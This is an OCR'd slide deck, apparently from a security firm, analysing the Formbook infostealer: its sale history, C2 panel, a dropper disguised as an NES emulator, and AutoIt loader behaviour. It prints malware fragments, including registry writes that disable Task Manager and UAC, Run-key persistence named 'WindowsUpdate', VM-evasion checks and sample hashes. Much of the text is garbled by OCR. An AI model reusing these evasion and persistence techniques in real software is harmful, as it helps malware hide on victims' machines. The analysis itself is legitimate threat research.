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Information System Engineer and Teacher at UTN.

Cryptography and Tele information Security Specialist at Facultad del Ejercito.
5 years working in Cyber Security at Deloitte.

Among other things, | analyze malware. ©
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What is a Form-grabbing?

 Form-grabbing is a technique that helps to retrieve user information from a
web data form before the information reaches a secure server.

« Formgrabbers intercept HTTP(s) data and use inline hooking to redirect
the function to one within the formgrabber and then transfer the
execution flow back to the HTTP funcion to complete the request.

 Among the families that have used this technique we can find Zeus (2007),
Andromeda (2011), Tinba (2012) and Spyeye (2009).

* For more information:
https://www.virusbulletin.com/virusbulletin/2011/11/art-stealing-banking-
Information-form-qgrabbing-fire
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Formbook Background

 Formbook is an
Infostealer that was
advertised for sale Iin
public hacking forums
since February 2016.

Offered by a user with
the handle ‘ng-Coder’

At first, it was offered for
free. Soon after it was
advertised for sale for
$250.
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FormBook [Formgrabber] reviewer wanted
(.z\{/ ng-Coder ©
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02-12-2016, 03:16 AM

PRICING
$29 / Week $59 / Month
Full Package/Hosted Full Package/Hosted
$99 / 3 Month $299 - Pro
Full Package/Hosted Bin for your domain

PAYMENT METHQD

@ bitcoin -8~ ™M perfect Money
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IﬂSlde Form bOOk InfOStealer @ FireEye- Solutions  Services  Partners  Support
FO rm boo k Ca m pa ig n S Home > FireEye Blogs > Threat Research > Significant FormBook Distribution Campaigns Impact...

 Formbook was used in a spam Significant FormBook

campaign in late 2017 targeting the Distribution Campaigns
aerospace, the defence contractor imbacting the US. and
and the manufacturing sectors in > 3 S

S O U t h KO se B e L

South Korea and the USA.
October 05, 2017 | by Nart Villens

* |t was also observed in 2018,
distributed via emails with doc, PDF
or RTF files, using CVE-2017-8570,
CVE-2017-0199 or CVE-2017- _ _

; ] Malspam pushing Formbook info stealer
11882 exploits to finally download = = s S
the Formbook malware. : =

This blog post is authored by Warren Mercer and Paul Rascagneres.

service." This means an attacker can
their desired parameters. This is

\alware such as FormBook. It is able to
¢ and in web forms) and can take

Introduction

| wrote a diary about malicious spam (malspam) pushing
the Formbook information stealer back in November 2017.
Formbook malspam is still a thing. Recently, I've seen
https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.htmlf malspam with RTF attachments disguised as Word

. . . . documents. These files use one of the recent exploits
https://blog.talosintelligence.com/2018/06/my-little-formbook.html targeting unpatched versions of Microsoft Office like CVE-

2017-8570 to infect computers with Formbook.

IIIIIIIIII

Sources::

https://isc.sans.edu/forums/diary/Malspam+pushing+Formbook+info+stealer/23387/
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Formbook Detection Ratio

Formbook detection ratio
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Formbook Capabilities

* Formbook offers a PHP panel, where the buyers can track their victim’s
iInformation (bots), including screenshots, keylogged data, and stolen
credentials.

« Each bot can receive commands from the C2 (Command-and-Control) server to
download and execute files, update and uninstall the bot, restart the system.

Etc. =T B e o S e EE e
Dashboard NST FORM KE ROKE S R VERIE S %) § ¥
Select Task: | Download and Execute v
L S S - Dashboard
Delete Sel ] admin G 032
Upate bin
20 Logs 1 Logs 141 Logs 0 Logs 0 Logs ) Logs 0 Logs 0 Logs "~ J Logs
Bot 1D Uninstall bin ‘e kexplorer ‘ Firefox ‘ Chrome e Ms.Edge G Yor O Opera @ Safari .> Torch ¢ Q360
Visit URL 01 3 ] 0 Logs 0 Logs 0 Logs P 0 Logs 0 Logs 0 Logs Logs
- : m Maxthon @ sMonkey ﬂ Avant E) Deepnet e Cdragon U safeZone Q 360 Q Titan 0 icedragon
Clear Cookies ¢ 0L 0 Log ) Loas ) Logs 008 . 0 Loo: Logs
C g g U Lo 0 Logs OLogs U LOogs OLogs 0 Logs U LOgs
Restart System ) Baidu Y Yandex G Canary 6 Chromium . K-Meleon @ Rambiler @ Browzar G BlackHawk ' Citrio
i - g . . . ; ..
- N 0Logs { g ) Logs 0 Logs Logs oe ) Logs 0 Logs 0 Logs Logs
Shut down system u COolNc;vo 0 Coowon o Cyberfox @ Dooble Vivaidi @ Irsdium Lunascape g Epic o Midori
Force Upload Keystroke 0 Logs ) Loas 0 Logs v 0 Logs 0 Logs ‘ U Logs QLogs ', ) LOgS J LOgS
3 Mustang 0 Ortytum U PaleMoon =7  QT.Web G Qupilla Sleipnir e ird s ue ‘ Waterfox
Take Screenshot
FB-Connect : _ =1 —~ 997 170
D&E from FB-Connect . : B il % Sniffs Clipboard
Upate bin from FB-Connect T
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hitp - auth.mad ru tab:

uuset

rospassword-

naZO&saveauth=1 amn-zu

407act...

hitpiauthmalry o tab;

Login
Domain
Passworg

saveauth

FromAccount

Chrome
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Mozila's.0
(Windows NT 6.1;
WinB4, x64)
AppleWebKIVS3T
36 (KHTML, like
Gecko)
Chrome/61.0.3163
100 SafarV537.36

04:37:28

Moiia's 0
(Wincows NT 6.1;
WinG4, x64)
AppleWebKItS37.
36 (KHTML, like
Gecko)

04:37:26

20171026

2017-10-26

- .
3

w_

Total Bots: 39 s ~ 3
Wahien Aufgabe: Download ang Execute v URL:

Loschen Ausgewdnll Bot | Wilhien ale m m m Austiiheen Autgabe

Bot 1D User OS type OS Version Land Flag IP Adresse Install date Last activity BV Task Status

o User 88 WndowseiPo  Ngmm B0 ">y 2017-10-1 2017-10-17 032 o N
x4 1259:19 16:43.07

R Admin 88 VWndowswen ‘I W ccpgmmc 20171012 2017-10-27 032 o N
Server 2008 R2 x4 09:16:35 10:32:47

S Mijer 2R Moosotvinsows . ooz 20171002 2017-10-20 032 o omE
XP x86 1021:32 09:32:33

cs7 il Emiy S8 VWodows10Po VN N copgEss 207012 2017024 032 o NN
x64 10:24:00 05:25:20

A Jotwsen 88 VWndows7 g ] Wy collllss  2017-10-12 2017.10-24 032 o N
Professional x64 10:25:29 05:22:04

3 Adam Smith 88 Wndows7 193,-.7 2017-10-12 2017-10-12 032 o 1N
Professional x86 10:27:29 10:27:29

BATISll  Administrator S8  Mcrosoft Windows g BB 2017-10-12 2017-10-25 032 o N
Y vAR "N 510 "R 409
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= L= e = Sl BN lem BRI 2
7 o M el ] [ bt LR S == -
COVERIEES SNEF CLIPBOARI NKCS

5 CLIPFBOA

DASHBOARL NSTA s FORMS wa”

ENSHOTS SUCH EXPORT BLACKLIST DOMAIN SER MANAGER FB.CONNECT TOS AUSLOGGEN

Keystrokes .
admin S 032

Loschen alle KeysStrokes: Clear ol Keystiokes

inhalt Check tab to tabulate content’s data. ‘=[q] “=[dq]) OStype User Datum Land Flag IP Adresse
¢ tab - bl o027 Vi 95-145
[<-Defjf<-Deftune to sell [<-Del][<.Del][ <.Defj <-Def]|<-Dei][ <-Dei)f<-Dei]|<-Del]| -Dei][<-Defj <-Deljne for 10:36:01

colored LEAXN, bu I ihf<-Del)|<-Def)| <-Del)f <-Ded) <-Del][ <-Deijt | th{<-Dedjhough | could pruchal <
Deljse{<-Defj<-Dellacts neuteral|<-Del)f <-Def)| <-Del)|<-Deijral colored pediets and ¢|<-Deljuse organic
colorant and have UL ef<-Dellref<-Dedle| <-Delj[<-Defjevalaf<-Defiate &t [<-Del] [Entpeifione shae te Muille

: ; B — o e— T " -
Dol sum e g0 o~ OwlDelf <D0l g <Ol Oolcan TEmrE AEIZET ==l ¢~ =Sl I ESE
[EnteriBEnterjEnter] - 140 [<-Def Dol <-Defff<-Defloo much fusoang <-Deff < DASHBOARD INSTALLS FORMS KEYSTROKES RECOVERIES SNIFF'S Clipboard JUNKS
Delj[<-DelJEXAN

SCREENSHOTS SUCHE EXPORT BLACKLIST DOMAIN USER MANAGER FB-CONNECT TOS AUSLOGGEN

Google - Google Chrome
miracast windows T[Enter)

WIDI - Wikipedia - Google Chrome E] Clipboard

admin g 0.3.2
Loschen alle Clipboard: ciear all Clipboard
Inhalt Check tab to tabulate content's data. '=[q] "=[dq] OStype User Datum Land Flag IP Adresse
tab: 88 billb 0171027 IR = <
Clipboard RE: 10:36:01

RE: Spit Core Categoru arrangment - Message (HTML)

1. 1 did not send anything eise for the All Products page. | sent two as listed below:

tab: 28 billb 201721027\ = -ds

Clipboard Miracast with Windows 7 - Internet Explorer http:/drivers.softp... 09:59:54
tab: - zjb 2017-10-27 Cumm ™ Bl
Clipboard M-1,Qingdao Test Results - S2i{¥ 14:16:53 2 #7 The an... 02:18:57
Copyright © 2018 Deloitte Development LLC. All rights reserved.
tab: " admin 2017-10-27 KRt

Clipboard 01:46:48
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Analyzed file:

« Hash:
6ed4ec3712cf641a31f4e9edaf7dod7
a84fd7dadcc2875cb6aceb9a283ed03
30d7

Description:
* Winrar self-extracting file (SFX).

« Extracts the information in:
%LocalAppData%\temp\cne.

 Deletes the SFX file.

* Focus on: axo.exe, pwn-axa and
sni.mp3.

Copyright © 2018 Deloitte Development LLC. All rights reserved.

NES_Emulator
NES Emulator
NES Emulator

7|||NES_Emulator

Name Size Pack.. Type Modified CRC32 -
[ axo.exe 750,320  365,... Application 1/29/201210:3.. 4ACASFDB
bhiixl 590 475 XLFile 7/18/2017 10:2... 18BOAB9S
i‘ "," 676 536 Microsoft.. 7/18/201710:2.. 86400AAB
w 1axo.exe 503 412 JPEGimage 7/18/201710:2.. 33832900
—egear 539 438 DATFile 7/18/201710:2... 61A6B83E
g ehm. mp4 622 502 MP4Video 7/18/201710:2.. 9DB11620
3 £4S A4D Adolbo A 2499017109 CACOACAA

NES Emulator
NES_Emulator

NES_Emulator
NES_Emulator
NES Emulator
NES_Emulator
NES Emulator
NES_Emulator

NES.
NES.
NES
NES.
NES.
NES

Path=%LocalAppData%\temp\cne
NES_Emulator NES Emulator NES

NES _Emulator NES Emulator NES Emulator
Path-%LocalAppData%\temp\cne
NES Emulator NES Emulator NES Emulator

= hijpg 519 425 JPEGimage 7/18/201710:2.. S4DDELAS NES_Emulator NES_Emulator
[#ihe.bomp 568 462 Bitmapim.. 7/18/201710:2.. BEDAB313 NES_Emulator NES_Emulator
jnr.pdf 527 428 AdobeAcr.. 7/18/201710:2.. DDELEFC6 NES Emulator NES Emulator
L kg pdf 628 503 AdobeAcr.. 7/18/201710:2.. SAALCT32 el
NES Emulator NES Emulator
L iru.pdf 534 435 AdobeAcr.. 7/18/201710:2.. 20E208EA S e
& mba.icm 538 440 ICCProfile  7/18/201710:2.. 78D1AE7S ST o
B Microsoft ... 7/18/2017 10:2... NES Emulator NES Emulator
|4'| muo.mp3 563 454 MP3 Form... 7/18/201710:2.. A7B6198F NEs:Emulator NESZEmulator
. : 511 424 JPEGimage 7/18/201710:2.. 19F3F63A =|||NES_Emulator NES Emulator
65 529 MP3Form.. 7/18/201710:2.. FD6BFBSS NES_Emulator NES_Emulator
] Pwm'axa 569 461 MP4Video  7/18/201710:2.. BS4SAATA NES_Emulator NES_Emulator
T 571 464 XLFile 7/18/201710:2... 0CS6F310 S e Aen e ERn atos
|| pvq.dat 501 410 DATFile  7/18/201710:2.. 69077DBB gg‘;a;:gziigems Eaintor
|| pwm-axa 3022503 9132 File 7/18/201710:2.. CEB01CCY SR e s
|&| qac.bmp 613 496 Bitmapim... 7/18/201710:2.. 50244A41 NES Emulator NES Emulator
@qkt.pdf 589 479 Adobe Acr... 7/18/201710:2... OEF26C6A NES Fmulator NES Emulator
- 524 426 Bitmapim.. 7/18/201710:2.. AGOCEFOB NES_Emulator NES Emulator
& snl.mp3 S50 446 AdobeAcr.. 7/18/201710:2.. BOSBF59C NES_Emulator NES Emulator
TSP 444732 253.. MP3Form.. 7/18/201710:2.. FBFEDAFE Setup=axo.exe pwm-axa
A spiicm 558 449 ICCProfile  7/18/201710:2.. 3F02485D
sui.ico Icon 7/18/201710:2... 6922F81C

INES | Emulator NES Emulator
Setup=axo.exe pwm—axa

A xjm.icm

'@xxj.pdf

570
620

461 ICC Profile

495 Adobe Acr...

7/18/2017 10:2...
7/18/2017 10:2...

6D998CAC
E74D3024

J

-

NES
NES
NES
NES
NES
NES

NES
NES
NES
NES
NES
NES

NES
NES
NES
NES
NES
NES

<|
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Formbook Analysis

 The pwm-axa file
looks like this...
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[l pwm-axa 3 |
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* The sni.mp3 looks like this...

Bsni.mpS E

j3d6gs5885701kn
5¥m2673y0h3317p39%pgjv0LdLtdWe72635035Uh6984s2gydBO17II1298DI3bj1J9Y
H4ijRni3s6eJbp6eVicjGoV7Tu

[Setting]

35e2005403W

k3v3X8i0545c846ERx26PZJ6073595Y1w291x56b9r5
90zapZ20535fXz49I0a3gbIYLESRT106826Z2k1e0B8vH2t3LZ25Y6611ibH
J1Q0S3kIZ2gEc99h0iQp289g85gd83186761P6CQj99MB5T74pETnG)7208gulle6dlde91wsxu
zQJ0YXgn80300UilIM

sd Keys=31344534393434353534323530434242373641383738383736424642434538453337424445313341333842443845433332393835
FU006

S5Sm7J0BgBShMipICBftcR3UQIEfRWsFO069353LGF61 jb5Z2pe8MnY03181M5231L.941rdu
Keys=fju

Z02p526B2eusboHtl

YL152B5B90T7e89zN5934VkJ627KESv5TLnY1E1J5432y68HomgW9t
0499A410LF1910907A487ab116753v178181ML20YVEjgbzk8G96d1rS6h86]

3uU5388L

Dir=cne

Lt 2}

—] O 0N e

LD D

| k k |
L =

t
=] O O s

(]
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Formbook Analysis

« The sni.mp3 file includes interesting strings that were used during the
execution.

[Setting]

sd Keys=31344534393434353534323530434242373641383738383736424642434538453337424445313341333842443845433332393835
Keys=f]u

Dir=cne

Key=WindowsUpdate

AUEX=pwm-axa

EXEc=ax0.gexe
StartUps=pug-BZecal7C68j1BF884Xr52nFémvI0538823d9uwkELR34Us
RP=£gv.hm{

sK=858

sN=gli.hxp

eof=hmf

FRCTMET - CXE

Copyright © 2018 Deloitte Development LLC. All rights reserved.
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| e B
Formbook Analysis O e 01 P =
| Threads | TcPp | Seauwity | Envionment | Job | strings
Image | Performance [ Performance Graph I GPU Graph

» The axo.exe file is an Autolt script @' o T —
that is executed with the pwm-axa & e

Version: 3.3.8.1

flle as a parameter Build Time: Sun Jan 29 19:32:28 2012

Path:
I A sersl ata\Local\Temp\cne\axo.exe Explore
* The script decrypts Formbook and et et sl
loads it in memory. In order to do TR ey e———

Command line:
Current directory:

that, it creates a file with a random [y et
name that contains Formbook'’s ol

Parent: 524e1011c26b6bf7e23f5d 1072223971

functionality and deletes it soon after v won nngvm
loading it in memory. This file | === I

I Comment:

contains several functions with o,
(@) bfu Scate d names. | Data Execution Prevention (DEP) Status: Disabled

Kill Process

Address Space Load Randomization: Enabled

Control Flow Guard:

[ OK ] [ Cancel ]

Copyright © 2018 Deloitte Development LLC. All rights reserved.
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Formbook Analysis

 The created file looks like this...

Global Const $4350DEASTSCLEAAZBABB3C4406A8BZ6B = 0x00006602

Global Const $75AZFBl4LF3605CA0DA3CA4L8DTBOC2E1 0x00006801

Global Const $1295974L46E6E9CAT2B1205FD83CEF10 0

Global SFDAS31CE40AFABICCB2F146F9DTICFOF[3]

Global S$6DBEABL3FOFO9DAF4AT725ATB18BASBEGEEL, S$6C3C44DS56C1DA08BA305F8620833447, SDTDLZ2CFFCBB6T45185BO9DBAAFAZCEC13, SFFO9A003592FBLAC6C44TDCT4647093B4,
SBOBEBZDO985B3ALCZ33FDA445FABDDSES983, SF39285179624EA59225RA0BF28273C515, STO9E6B6ADOE3929343CE22TBASFDDAFFER

Global 33C0Z906DBD8ZFAESBEDF1S5FA83019CD3 = @MIN + 1, $10408EOF4EE9BCCA75DA5187FTA61581 = @MIN + 1, S$570ETACF370C475C1lFICFFCB287D4894,
$D6T0D931AB625312RA06C0OET8CAFLEFAFA, S5D33270AF08A8TABFAL3DC3CETSEOYEC, S$SFD20T7A895BOE415CETF1962728B8263A,
SEF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456

Global SCH53E1AAZB8TDOBTAABATI96B2D3DBZ2DAEZ, SCEBEBF8600975B3E41D4COAFASSBEDABO, S$3B3F342DCBB43A363757E1IDDZ2813D3FF, SEBFSEBE1328FCZ2B2DC6016AT0C366F083
S6DBEABL3FOF9DAFAT725ATB18BABEGBEL = @ScriptDir & "\sni.mp3"

$989BDEDFT7434150DDDCCAE3AFE4571E3 IniRead ($6DSEASS3FOFSDAF4T725ATB18BABEGEES, "Setting", "Dir", '')
S9355FBBAZ40CE21T7CO4AEE3075C218909 @TempDir & "\" & S$989BDE8DF7434150DDDCCAE3AF84571E3

Sleep(100)

FileSetAttrib (S9355FBBA246C8217CO4EE3075C218909, "4H")

Sleep (100)

_50x325952AFE1C4ATEBF062AT4927TAIDBESSB ()

Func S0x32595ZAEIC4ATESFO62ATA92TAIDBESSE ()

S39EEB01DTEZ2D21808919DD1IAS91F950 = IniRead(50D8EABS3FOFSDAFAT725ATB18BABEGEBES, "Setting", "msg", '')

If $39EES01DTE22D21808919DD1A991F950 <> "' Then

_SO0xCD06933F8DFET7350D8ATARL4DIF1BAFBSE ()

EndIf

SAFESCY92D9445918D1759387A12138EA3 = IniRead (S6DBEASLS3FOFODAF4T725ATE18BASEGEES, "Setting", " S0x20057179D673181B71D4593BFB2ZA0450", '')
If 34FE9C92D9445918D1759387A12138EA3 <> '' Then

Copyright © 2018 Deloitte Development LLC. All rights reserved.
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Formbook Analysis

The following features could be observed:

Hiding mechanism:

* The script changes the cne folder attributes to hide its content by
executing command FileSetAttrib($cne_Folder_Path, "+H").

SFileAndPath sni.mp3 = @ScriptDir & "\sni.mp3"

Scne Folder = IniRead(S$FileAndPath sni.mp3, "Setting", "Dir"™, '')
Scne Folder Path = @TempDir & "\" & Scne Folder

Sleep (100)

FileSetAttrib(Scne Folder Path, "+H") ; COMMENT: HIDES THE CNE FOLDEE IN THE TMP FOLDER

Check default browser:

« The script will check the HKCR\http\shell\open\command registry key
to know which internet browser the victim's machine uses by default.

Copyright © 2018 Deloitte Development LLC. All rights reserved.
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Protection disabling and anti-analysis:

RegWrite("HKCUG4\Software\Microsoft\Windows\  Disables Task Manager
CurrentVersion\Policies\System",
"DisableTaskMgr", "REG_DWORD", "1")

RegDelete("HKLM64\Software\Microsoft\Windows Turns off the System
NT\CurrentVersion\SPP\Clients") Protection

RegWrite("HKLM64\SOFTWARE\Microsoft\Windo Disables UAC (User
ws\CurrentVersion\Policies\System", "EnableLUA", Account Controls)
"REG_DWORD", "0")
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Formbook Analysis

Persistence mechanism:

* In order to remain persistent, it modifies

If IsAdmin() Then

RegWrite("HKEY_LOCAL_MACHINE\SOFTWA
RE\Microsoft\Windows\CurrentVersion\Run
" SWindowsUpdate, "REG_SZ",
Scne_Folder Path & "\" & Saxo.exe & " " &
FileGetShortName(FileGetShortName(Scne_
Folder_Path & "\" & Spwm-axa)))

the Run registry key with a new key Else

named “WindowsUpdate” that instructs RegWrite("HKEY_CURRENT_USER\SOFTWAR
. . E\Microsoft\Windows\CurrentVersion\Run",

the execution of axo.exe along with sWindowsUpdate, "REG. SZ"

pwm-axa.

Scne_Folder_Path & "\" & Saxo.exe & " " &
FileGetShortName(Scne_Folder_Path & "\" &
Spwm-axa))

Name Type

ab] (Default) REG_SZ
abiWindowsUpdate | REG_SZ

Data

(value not set)
C:\Users\-\AppData\Local\Temp\cne\axo.exe C:\Users\-\AppData\Local\Temp\cne\pwm-axa
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Inside Formbook infostealer
Formbook Analysis

Protection disabling and anti-analysis:

 VMwaretray.exe

* Vbox.exe

* VMwareUser.exe
 VMwareService.exe
* VboxService.exe

e vpcmap.exe

* VBoxTray.exe

 If DriveSpaceFree (“d:\”) <1 And ProcessExists ([VMWare or VBox]) then
Exit
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Inside Formbook infostealer
Formbook Analysis

Deletion and termination:

It will look for process svshost.exe and terminate itself in case it finds more
than two svshost.exe processes running:

If UBound (ProcessList ("svshost.exe")) > 2 Then Exit ;

r

ProcessSetPriority("svshost.exe", 5) ; COMMENT: S5S=REAIL
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Inside Formbook infostealer
Similar files

« The following SFX files were found after the analyzed file:

17/7/2018f2cee9dbdee406d64b9608e9042189b8db692b53710edceba31cdc72318af255
11/9/20188e8c285a0b75999000152010bcf30f5e97562eddc768a5e085e2ab99a336f0d0
11/9/2018e149a0d8fa52f7f4f74cf0e88811d0d95b318ea0e9597c¢6c9068bb962a9290cab
11/9/201868b7f7446dc5€1134902226c39a792f39b01f66b86f1beabd4caad560177073¢
11/9/2018fda3b25c2f7dab5edf0f98899f3b3be18138d725912872fc5ch9d4ff8876f147
12/9/201880867e23465a472482309a63b9201e37fd366e4e3151a8030fc61ed915316f48
13/9/20181549dd759e0651e04884229d1910cf3ffc075ee239a4d3ce45ad2d706d0501ee
14/9/20189e953b50293d323255e57a50d371ddb6b305249b75a85¢75c28e50a36b489abd
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Inside Formbook infostealer
Conclusion

Despite Formbook infostealer being around for a couple of years now, it was only noted after it
was massively used in spam campaigns in late 2017. The fact that Formbook wasn't noticed
before is probably because the developers didn't release the builder to the public, so it was easy
for the developers to track its activities and turn it off in case they found that it was being used for
purposes they did not intend or if it was gaining too much attention from the security community.
Despite not being broadly used, Formbook represents a real threat, due to it being stealthier and
more powerful than keyloggers.

Similar to Agent Tesla Remote Access Trojan (RAT), the author initially offered a beta version of
the product for free to receive feedback and make improvements.

The "ng-coder" user indicates that FormBook should not be used for malicious purposes and after
the spam campaigns were made public, he blocked Formbook’s sales until further notice.
According to its developer, "ng-Coder", Formbook should only be used to spy on family members
or employees if they have the explicit right to do so. However, the claim itself is dubious given the
remotely legitimate uses of such software.
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